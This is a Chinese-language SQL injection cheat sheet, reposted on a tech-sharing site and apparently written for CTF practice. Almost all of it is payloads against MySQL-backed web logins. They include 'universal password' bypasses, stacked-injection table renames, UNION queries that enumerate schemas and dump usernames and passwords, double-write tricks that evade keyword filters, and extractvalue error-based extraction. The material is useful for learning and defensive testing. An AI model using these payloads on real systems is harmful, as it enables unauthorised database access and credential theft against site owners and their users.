ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入

2022-07-24 08:33:03  阅读:177  来源: 互联网

标签:name 23 concat SQL table 注入 select schema


信息收集

数据库版本:version() 5.0以上为高版本,以下为低版本。高版本中存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以查询它获取数据库表名列名的信息

数据库名字:database() 查询数据库:';show databases;#

数据库用户:user()

操作系统:@@version_compile_os

查询指定数据库名下的表名group_concat(table_name) from information_schema.tables where table_schema='数据库名字'

查询指定表名下的列名信息group_concat(column_name) from information_schema.columns where table_name='表名'

查询指定数据username from 列名

万能密码
1' or '1'='1
1' or 1=1#
admin'or 1=1#

判断注入拆解列名数量(字段数)错误与正常的正常值

order by x 或者1′ union select 1,2 #或者1' order by 1#

堆叠注入

查询表: 1';show tables;#

查询表中字段:1'; show columns from 要查询的字段; #

改名字:1';RENAME TABLE wordsTOwords1;RENAME TABLE 1919810931114514TOwords;ALTER TABLE wordsCHANGEflag id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

URL中的注入

注意:URL中不能用# 只能用%23

查询字段数:admin' order by 数字(输到报错)%23

用union查询测试注入点(回显点位):1' union select 1,2,3%23&password=1

查询当前数据库名及版本:1' union select 1,database(),version()%23

可知当前数据库 :1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查询表(爆表):1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表的名字'%23

爆数据:1' union select 1,2,group_concat(id,username,password) from 表的名字%23

当遇到关键字过滤的时候可以尝试 双写绕过 登陆失败,尝试注释掉password内容:for : foforr from: frfromom or: oorr union: uniunionon select: selselectect information: infoorrmation where: whwhereere 空格被过滤可以用()代替

报错注入

查询数据库名:``admin'^extractvalue(1,concat(0x7e,(select(database()))))%23 爆表:admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('数据库的名字')))))%23 爆字段:left() right() 拼接admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('表的名字')))))%23`

extractvalue() ()来代替空格,使用like来代替=号

标签:name,23,concat,SQL,table,注入,select,schema
来源: https://www.cnblogs.com/lxuegod/p/16513822.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有